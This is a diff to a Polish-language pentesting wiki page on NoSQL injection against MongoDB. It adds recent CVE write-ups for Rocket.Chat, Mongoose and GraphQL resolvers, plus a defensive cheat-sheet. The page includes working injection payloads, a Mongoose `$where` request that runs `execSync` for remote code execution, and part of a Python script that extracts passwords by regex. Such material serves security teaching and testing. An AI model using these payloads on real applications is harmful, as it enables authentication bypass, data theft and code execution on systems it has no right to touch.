diff --git a/src/pentesting-web/nosql-injection.md b/src/pentesting-web/nosql-injection.md index 1b0f1ca62..c1da4a5ba 100644 --- a/src/pentesting-web/nosql-injection.md +++ b/src/pentesting-web/nosql-injection.md @@ -4,7 +4,7 @@ ## Exploit -W PHP możesz wysłać tablicę, zmieniając wysyłany parametr z _parameter=foo_ na _parameter\[arrName]=foo._ +W PHP możesz wysłać tablicę, zmieniając wysyłany parametr z _parameter=foo_ na _parameter[arrName]=foo._ Eksploity opierają się na dodaniu **Operatora**: ```bash @@ -35,7 +35,7 @@ username[$exists]=true&password[$exists]=true ```javascript query = { $where: `this.username == '${username}'` } ``` -Napastnik może to wykorzystać, wprowadzając ciągi takie jak `admin' || 'a'=='a`, co sprawia, że zapytanie zwraca wszystkie dokumenty, spełniając warunek z tautologią (`'a'=='a'`). Jest to analogiczne do ataków SQL injection, gdzie używane są dane wejściowe takie jak `' or 1=1-- -`, aby manipulować zapytaniami SQL. W MongoDB podobne wstrzyknięcia można przeprowadzić, używając danych wejściowych takich jak `' || 1==1//`, `' || 1==1%00` lub `admin' || 'a'=='a`. +Napastnik może to wykorzystać, wprowadzając ciągi takie jak `admin' || 'a'=='a`, co sprawia, że zapytanie zwraca wszystkie dokumenty, spełniając warunek za pomocą tautologii (`'a'=='a'`). Jest to analogiczne do ataków SQL injection, gdzie używane są dane wejściowe takie jak `' or 1=1-- -`, aby manipulować zapytaniami SQL. W MongoDB podobne wstrzyknięcia można przeprowadzić, używając danych wejściowych takich jak `' || 1==1//`, `' || 1==1%00` lub `admin' || 'a'=='a`. ``` Normal sql: ' or 1=1-- - Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a @@ -114,7 +114,41 @@ Wstrzyknij `throw new Error(JSON.stringify(this))` w klauzulę `$where`, aby wye ```json { "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" } ``` -## MongoDB Payloads +## Recent CVEs & Real-World Exploits (2023-2025) + +### Rocket.Chat unauthenticated blind NoSQLi – CVE-2023-28359 +Wersje ≤ 6.0.0 ujawniały metodę Meteor `listEmojiCustom`, która przekazywała obiekt **selector** kontrolowany przez użytkownika bezpośrednio do `find()`. Wstrzykując operatory takie jak `{"$where":"sleep(2000)||true"}`, nieautoryzowany atakujący mógł zbudować oracle czasowy i wyeksportować dokumenty. Błąd został naprawiony w 6.0.1 poprzez walidację kształtu selektora i usunięcie niebezpiecznych operatorów. + +### Mongoose `populate().match` `$where` RCE – CVE-2024-53900 & CVE-2025-23061 +Gdy `populate()` jest używane z opcją `match`, Mongoose (≤ 8.8.2) kopiowało obiekt dosłownie *przed* wysłaniem go do MongoDB. Podanie `$where` wykonywało więc JavaScript **wewnątrz Node.js**, nawet jeśli JavaScript po stronie serwera był wyłączony w MongoDB: +```js +// GET /posts?author[$where]=global.process.mainModule.require('child_process').execSync('id') +Post.find() +.populate({ path: 'author', match: req.query.author }); // RCE +``` +Pierwsza łatka (8.8.3) zablokowała najwyższy poziom `$where`, ale zagnieżdżenie go pod `$or` obejście filtra, prowadząc do CVE-2025-23061. Problem został całkowicie naprawiony w 8.9.5, a nowa opcja połączenia `sanitizeFilter: true` została wprowadzona. + +### GraphQL → Mongo filter confusion +Rozwiązywacze, które przekazują `args.filter` bezpośrednio do `collection.find()`, pozostają podatne: +```graphql +query users($f:UserFilter){ +users(filter:$f){ _id email } +} + +# variables +{ "f": { "$ne": {} } } +``` +Mitigacje: rekurencyjnie usuwaj klucze, które zaczynają się od `$`, jawnie mapuj dozwolone operatory lub waliduj za pomocą bibliotek schematów (Joi, Zod). + +## Defensywny Cheat-Sheet (zaktualizowany 2025) + +1. Usuń lub odrzuć każdy klucz, który zaczyna się od `$` (`express-mongo-sanitize`, `mongo-sanitize`, Mongoose `sanitizeFilter:true`). +2. Wyłącz JavaScript po stronie serwera w samodzielnie hostowanym MongoDB (`--noscripting`, domyślnie w v7.0+). +3. Preferuj `$expr` i budowniczych agregacji zamiast `$where`. +4. Waliduj typy danych wcześnie (Joi/Ajv) i zabraniaj tablic tam, gdzie oczekiwane są skalarne wartości, aby uniknąć sztuczek `[$ne]`. +5. Dla GraphQL, tłumacz argumenty filtrów przez listę dozwoloną; nigdy nie rozprzestrzeniaj nieufnych obiektów. + +## Ładunki MongoDB Lista [stąd](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt) ``` @@ -193,6 +227,7 @@ url = "http://example.com" headers = {"Host": "exmaple.com"} cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"} possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ] + def get_password(username): print("Extracting password of "+username) params = {"username":username, "password[$regex]":"", "login": "login"} @@ -225,9 +260,10 @@ for u in get_usernames(""): get_password(u) ``` ## Narzędzia - - [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration) - [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite) +- [https://github.com/ImKKingshuk/StealthNoSQL](https://github.com/ImKKingshuk/StealthNoSQL) +- [https://github.com/Charlie-belmer/nosqli](https://github.com/Charlie-belmer/nosqli) ## Odniesienia @@ -236,5 +272,7 @@ get_password(u) - [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/) - [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb) - [https://sensepost.com/blog/2025/nosql-error-based-injection/](https://sensepost.com/blog/2025/nosql-error-based-injection/) +- [https://nvd.nist.gov/vuln/detail/CVE-2023-28359](https://nvd.nist.gov/vuln/detail/CVE-2023-28359) +- [https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900](https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900) {{#include ../banners/hacktricks-training.md}}